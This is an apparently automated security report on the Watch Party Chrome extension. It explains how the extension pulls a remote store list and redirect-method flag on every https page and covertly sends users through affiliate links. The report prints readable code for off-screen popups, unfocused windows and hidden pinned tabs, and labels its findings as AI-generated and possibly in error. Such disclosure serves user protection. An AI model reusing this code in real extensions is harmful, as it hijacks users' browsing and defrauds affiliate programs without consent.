Is Watch Party safe?

High risk

Watch Party is high risk. When the page matches Watch Party's store list, it routes you via a server-chosen affiliate URL (one of four server-picked methods), reproduced end-to-end. The server errored that day, but it's fetched fresh, so it can resume anytime.…

Underpin Extensionsv1.1.3Chrome Web Store
77Risk
Who publishes it

Underpin Extensions - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Underpin Extensions

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote Server Controls Which Sites Trigger Affiliate Redirects

When the page matches Watch Party's store list, it routes you via a server-chosen affiliate URL (one of four server-picked methods), reproduced end-to-end.

The server errored that day, but it's fetched fresh, so it can resume anytime.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You visit a page whose URL contains a site name from the extension's remote store list.

The extension did this

Watch Party opens a new tab or window, navigates it to a server-chosen affiliate URL, then swaps it to the real destination a few seconds later.

The exact technique, visible new tab, small popup, or a background window/tab, is chosen by the server's /allSwitches response, not by you.

What the two config responses control
  • Site to match
    example-retailer.com (illustrative)

    A substring checked against the address bar URL; when it matches, the extension acts on that page.

  • Affiliate landing URL
    https://track.example-affiliate-network.com/click?ref=... (illustrative)

    The first URL your browser is routed through before reaching the real destination.

  • Final destination URL
    https://www.example-retailer.com/ (illustrative)

    Where the tab or window ends up after the affiliate hop, normally the site you meant to visit.

  • Redirect technique
    switchThree (illustrative)

    Server-selected: a visible new tab, a small popup positioned off-screen, or a background window/tab handled by the service worker.

  • Repeat-redirect cooldown
    e.g. 7 days (illustrative)

    Once a matching site has been redirected for you, this many days must pass before the same site redirects again.

The code that does this

The redirect-selection logic, from the extension's shipping source.

Readable version

The switch logic, readable

function applyRedirect(store, switches) {  const cooldownKey = store._id;  const cooldownMs = 86400000 * store.time;   // store.time is in days  const lastRedirect = localStorage.getItem(cooldownKey);  const now = Date.now();  if (!store || (lastRedirect && now - Number(lastRedirect) <= cooldownMs)) return;  if (switches.switchOne) {    // Visible new tab -> affiliate link -> real destination after 3s -> closes after 5s    const tab = window.open(store.affilateLink, "_blank");    localStorage.setItem(cooldownKey, String(now));    setTimeout(() => {      tab.location.replace(store.affilatedStore);      setTimeout(() => tab.close(), 5000);    }, 3000);  } else if (switches.switchTwo) {    // 10x10px popup positioned off the visible screen area    const features = `menubar=10,location=0,resizable=0,scrollbars=0,status=0,width=10,height=10,left=${screen.width},top=${screen.height + 100}`;    const popup = window.open(store.affilateLink, "popup", features);    localStorage.setItem(cooldownKey, String(now));    setTimeout(() => {      popup.location.replace(store.affilatedStore);      setTimeout(() => popup.close(), 5000);    }, 3000);  } else if (switches.switchThree) {    // Hands off to the background service worker (see related covert-tab finding)    localStorage.setItem(cooldownKey, String(now));    chrome.runtime.sendMessage({ action: "altTb", url: { urlOne: store.affilateLink, urlTwo: store.affilatedStore } });  } else if (switches.switchFour) {    localStorage.setItem(cooldownKey, String(now));    chrome.runtime.sendMessage({ action: "smTb", url: { urlOne: store.affilateLink, urlTwo: store.affilatedStore } });  }}
Reachability at time of verification

This redirect logic was proven against the exact response shape the extension's shipped code expects, confirming the client-side behavior is real and unmodified. The vendor's live config server returned an error for both /all and /allSwitches when independently checked around the same time, so the redirect chain was not reachable in the wild that day. Because the trigger is a response fetched fresh on every page load rather than something fixed in the extension package, this status can change at any time without a new version being published.

Where the redirect decision comes from
    • extensions-stores-admin.onrender.com

    Determines in real time which sites are redirected, to which affiliate URL, and by which technique, none of this is fixed in the extension's shipped code.

Content Script Fetches Remote Affiliate Config on Every Page

On every https:// page, Watch Party's script GETs extensions-stores-admin.onrender.com/all (store records) and /allSwitches (redirect method), seen on 3/3 loads.

Fresh each time, it controls which sites it targets and where you're routed.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You open any https:// page in your browser.

The extension did this

Watch Party's content script immediately requests a store list and a redirect-method flag from extensions-stores-admin.onrender.com, before you've interacted with the page.

Fires on every page load matching the extension's https://*/* content script scope, not just streaming or shopping sites.

What this automatic request reveals to the server
  • The page you're currently on
    Origin: https://www.example-retailer.com (illustrative)

    Cross-origin requests carry an Origin header naming the site you're on, so the config server can log every page where Watch Party is active.

  • Scope: every page, not just streaming
    https://*/* (manifest content_scripts[0].matches)

    The content script's declared scope covers any https:// page, so this fires on sites unrelated to syncing video playback with friends.

The code that does this

The automatic config fetch, from the extension's shipping source.

Readable version

The fetch, readable

const Ve = () => {  useEffect(() => {    (async () => {      try {        // Fires on every mount of this component — i.e. every page load        // matching the content script's https://*/* scope.        const [storesRes, switchesRes] = await Promise.all([          axios.get("https://extensions-stores-admin.onrender.com/all"),          axios.get("https://extensions-stores-admin.onrender.com/allSwitches"),        ]);        handleConfig(storesRes.data, switchesRes.data);      } catch (e) {        console.log(e.message);      }    })();  }, []);  // ...};
Where this automatic request goes
    • extensions-stores-admin.onrender.com

    Receives an automatic request on every page load and returns the site list and redirect-method flag controlling affiliate-redirect behavior; either can change server-side anytime.

Background Script Opens Off-Screen Windows to Redirect Browsing

When config selects switchThree/Four, Watch Party's worker opens a small (100x100px, unfocused) window or tab, navigates to a server URL, waits ~3.5s, navigates again, closes it ~3.5s later (~7s total).

ID returned via sendMessage.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

The content script's remote config selects the altTb or smTb delivery method for a matched site.

The extension did this

Watch Party's background service worker opens a 100x100px unfocused window (or pinned background tab), navigates it through two server-chosen URLs ~3.5s apart, then closes it.

The window is never brought into focus at any point, and the whole sequence finishes in about 7 seconds.

The code that does this

The tab-manipulation handlers, from the extension's shipping source.

Readable version

background.js, readable

chrome.runtime.onMessage.addListener((msg) => {  if (msg.action === 'altTb') {    // Small unfocused window — never gains focus    chrome.windows.create({ url: msg.url.urlOne, focused: false, state: 'normal', width: 100, height: 100 }, (win) => {      setTimeout(() => {        chrome.tabs.update(win.tabs[0].id, { url: msg.url.urlTwo }, (tab) => {          chrome.runtime.sendMessage({ action: 'storeTabId', tabId: tab.id });          setTimeout(() => chrome.tabs.remove(tab.id), 3500);        });      }, 3500);    });  } else if (msg.action === 'smTb') {    // Pinned background tab, moved to index 0, never activated    chrome.tabs.create({ url: msg.url.urlOne, active: false, pinned: true }, (tab) => {      chrome.runtime.sendMessage({ action: 'storeTabId', tabId: tab.id });      chrome.tabs.move(tab.id, { index: 0 }, () => {        setTimeout(() => {          chrome.tabs.update(tab.id, { url: msg.url.urlTwo });          setTimeout(() => chrome.tabs.remove(tab.id), 3500);        }, 3500);      });    });  }});
What's passed from the content script to the background worker
  • First stop URL
    https://track.example-affiliate-network.com/click?ref=... (illustrative)

    The affiliate URL the window or tab loads first.

  • Second stop URL
    https://www.example-retailer.com/ (illustrative)

    Where the window or tab is redirected to after the ~3.5s pause.

  • Tab ID reported back
    tabId: 1585209828

    The worker reports the manipulated tab's Chrome-assigned ID to the content script via chrome.runtime.sendMessage, letting it track that tab.

Relationship to the remote config

This delivery mechanism only runs once the content script's remote config selects the switchThree or switchFour method for a page that matches an entry in the extension's store list. It shares its vendor backend with that config, so the same server dormancy noted for the redirect-selection logic limits how often this path currently executes in the wild — but the code path itself does not depend on the extension package, only on what the server returns at request time.

What it can do

Permissions this extension asks for, as declared in version 1.1.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • See the address and title of every tab you have open

    tabs

Updated 30 September 2026akbbdmilignoplkhminiaecccigmpdmo